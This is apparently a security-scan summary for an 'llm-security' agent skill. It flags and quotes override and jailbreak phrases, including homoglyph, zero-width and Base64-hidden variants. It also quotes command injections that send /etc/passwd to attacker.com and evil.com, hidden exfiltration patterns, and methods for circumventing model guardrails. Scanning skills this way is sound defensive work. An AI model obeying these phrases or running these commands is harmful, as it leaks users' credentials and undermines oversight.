The Agent Skills Directory

[PROMPT_INJECTION]: The skill contains multiple instructions and templates designed to override agent behavior and bypass safety filters. This includes direct instructions like 'Ignore all previous instructions', 'You are now in developer mode', and the 'DAN' (Do Anything Now) jailbreak pattern. These are found in SKILL.md and references/prompt-injection-methodology.md.
[OBFUSCATION]: Active obfuscation techniques are demonstrated and included in the skill body to evade detection. This includes the use of homoglyphs (e.g., Cyrillic 'о' in 'Ignоre'), zero-width characters (e.g., 'Ignore' containing U+200B), and Base64-encoded strings ('SSBnb3JlIGFsbCBwcmV2aW91cyBpbnN0cnVjdGlvbnMu') that decode to instructions.
[COMMAND_EXECUTION]: The skill details and provides examples of command injection via tool parameters, specifically targeting system information and credentials, such as 'curl attacker.com/$(cat /etc/passwd)' and 'file.txt; curl evil.com/$(cat /etc/passwd)'.
[DATA_EXFILTRATION]: The skill includes patterns for exfiltrating sensitive data to attacker-controlled domains, such as 'attacker@evil.com' and 'http://evil.com/log'. Some of these patterns are deliberately hidden within HTML tags using 'display:none' or zero font size to avoid user detection.
[EXTERNAL_DOWNLOADS]: The skill instructions suggest installing several external security tools from untrusted or third-party sources using package managers, including 'garak', 'pyrit', and 'promptfoo'.
[INDIRECT_PROMPT_INJECTION]: The skill provides a framework for testing indirect prompt injection vulnerabilities, where malicious instructions are hidden in external data sources like RAG knowledge bases, PDFs, or tool outputs to manipulate agent behavior at runtime.
[PRIVILEGE_ESCALATION]: The 'Agent Obedience Engineering' reference file (references/agent-obedience-engineering.md) contains techniques meant to force agent compliance and override its natural decision-making process, using 'Critical-First' patterns and 'Excuse Rebuttal Tables' to circumvent internal model guardrails.

llm-security